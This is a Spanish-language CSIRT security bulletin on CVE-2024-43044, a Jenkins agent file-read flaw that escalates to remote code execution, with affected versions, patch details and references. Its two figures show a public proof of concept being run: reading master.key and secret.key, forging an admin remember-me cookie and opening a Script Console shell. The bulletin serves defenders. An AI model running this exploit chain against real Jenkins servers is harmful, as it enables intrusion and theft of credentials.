



BEACON LAB
C S I R T

CYBOLT
Security Innovation

Boletín de Alerta

Boletín Nro.: 2024-24

Fecha de publicación: 03/09/2024

Tema: Vulnerabilidad RCE crítica en Jenkins
Traffic Light Protocol (TLP): White



Boletín de Alerta



Producto(s) afectado:

- Jenkins 2.470 y anteriores,
- Jenkins LTS 2.452.3 y anteriores

Descripción

Se ha reportado una vulnerabilidad crítica en Jenkins, una herramienta ampliamente utilizada para automatizar tareas de desarrollo de software, denominada con el CVE-2024-43044 con un scoring CVSSv3 de 8.8, permite a los agentes de Jenkins leer archivos arbitrarios del controlador.

Esta vulnerabilidad surge de una falla en el método `ClassLoaderProxy#fetchJar`, que no restringe las rutas de archivo que los agentes pueden solicitar al controlador. Este descuido puede potencialmente escalar a una ejecución de código remoto (RCE) si un atacante secuestra un agente de Jenkins.

Esta vulnerabilidad se puede explotar mediante varios métodos, incluido el uso de secrets del agente para establecer conexiones no autorizadas o conectarse a un proceso Remoting en ejecución.

Una técnica de explotación notable implica falsificar una cookie de “recuérdame” para una cuenta de administrador, lo que permite a los atacantes obtener acceso a la consola de scripts de Jenkins y ejecutar comandos. Esta técnica requiere leer archivos específicos para crear una cookie válida, aprovechando la vulnerabilidad para leer archivos binarios y el contenido completo de archivos.

Actualmente, se ha publicado un PoC (Prueba de Concepto) de esta vulnerabilidad. La disponibilidad de un PoC para una vulnerabilidad incrementa el riesgo de ataques en tu empresa, ya que facilita a los atacantes la explotación de la falla. Esto requiere una acción urgente para mitigar la vulnerabilidad, como aplicar parches y revisar políticas de seguridad.

```
$ java -jar target/CVE-2024-43044-1.0-SNAPSHOT.jar mode_secret \
  http://jenkins.local:8080 \
  node0 \
  5c99109ed980da4d7bf83910e6bdf2bd04f3d09e2f9387834d86e8c7204981cf
MODE SECRET
[*] Starting the exploit
jenkinsUrl: http://jenkins.local:8080
agentName: node0
secretKey: 5c99109ed980da4d7bf83910e6bdf2bd04f3d09e2f9387834d86e8c7204981cf
workDir: /tmp/jenkins
ago. 23, 2024 5:23:31 PM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 3206.vb_15dcf73f6a_9
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /tmp/jenkins/remoting as a remoting work directory
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.WorkDirManager setupLogging
INFO: Both error and output logs will be printed to /tmp/jenkins/remoting
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
```

Figura 1 Imagen de la ejecución del PoC para luego tener acceso a consola del servidor.

```
secretKey: 5c99109ed980da4d7bf83910e6bdf2bd04f3d09e2f9387834d86e8c7204981cf
workDir: /tmp/jenkins
ago. 23, 2024 5:23:31 PM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 3206.vb_15dcf73f6a_9
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /tmp/jenkins/remoting as a remoting work directory
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.WorkDirManager setupLogging
INFO: Both error and output logs will be printed to /tmp/jenkins/remoting
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
ago. 23, 2024 5:23:31 PM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
[*] Trying to find Jenkins' base path - FOUND
[*] Reading users...
[*] Reading master.key
81bd54e1e468ecf07f62151bc97350d7b2f7520d4f512903caf0ecae0b060166
986153d4c8b7a99970b618b02829dd8bcfc4b295e993a3846411c7ab206a23a
10b13d68b7a97be6221dd57e630be0d9b3530b954529c3f563edb59c110cda9a
41a952190c7c0ce3f038fe81376dcc3d41bf4328601cb1ab57969f681dd39970
[*] Reading secret.key
826276949e0fa7f8d9dad09029b84b776df0a1e1908bec2e350ac45ecfa57b7a
[*] Reading ...rememberme.TokenBasedRememberMeServices.mac
56c8012f8950ff2e9252139fa2b8588e732d907e0914d524d0a2052437eec10c2f1aea4ff10bac7d2fd1492b65ccc9bc
[*] Instantiating the CookieForger
[*] Forging remember-me cookie for user 'admin'
User: admin
Timestamp: 1723477158517
Seed: 25fbf466dfe62399
Hash: #jbcrypt:$2a$10$5WkU8IK51rIi2pVXEwVf./5LLK0X/krSPcLHq7rPyjkrPoGyEhU1
Cookie: remember-me=YWRtaW46MTcyNDQ0ODIxNDAwMDpmMjE3NWU3ODJjNWIXYWYwNTZmMzhjNDcxZWZlNDQ0ODJlNDUzYWYw
jMjdhMDM2YzZk3NjAzOWFjOTNjYTc3
[*] Accessing Jenkins Script Console
shell> id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
shell> exit
```

Figura 2 Una vez que la explotación es exitosa, si obtiene acceso a consola.

Solución

El equipo de Jenkins ha [publicado](#) un parche para solucionar este problema, introduciendo un validador y propiedades del sistema Java para controlar la funcionalidad *fetchJar*.

La biblioteca Remoting en Jenkins 2.471, LTS 2.452.4, LTS 2.462.1 ahora envía contenidos de archivos jar con solicitudes Channel#preloadJar, el único caso de uso de ClassLoaderProxy#fetchJar en agentes, de modo que los agentes ya no necesitan solicitar contenidos de archivos JAR a los controladores.

Estas medidas tienen como objetivo restringir el acceso no autorizado a los archivos mediante la validación de las URL y el rechazo de los archivos JAR no autorizados.

Para obtener las actualizaciones con el parche proveidas por Jenkins (versiones >= LTS 2.462.1) puede dirigirse al siguiente enlace:

<https://www.jenkins.io/download/>

Información adicional:

- <https://www.jenkins.io/security/advisory/2024-08-07/#SECURITY-3430>
- <https://nvd.nist.gov/vuln/detail/CVE-2024-43044>



BEACON LAB

C S I R T

CYBOLT 
Security Innovation

info@beaconlab.mx

beaconlab.mx

contact@cybolt.com

cybolt.com

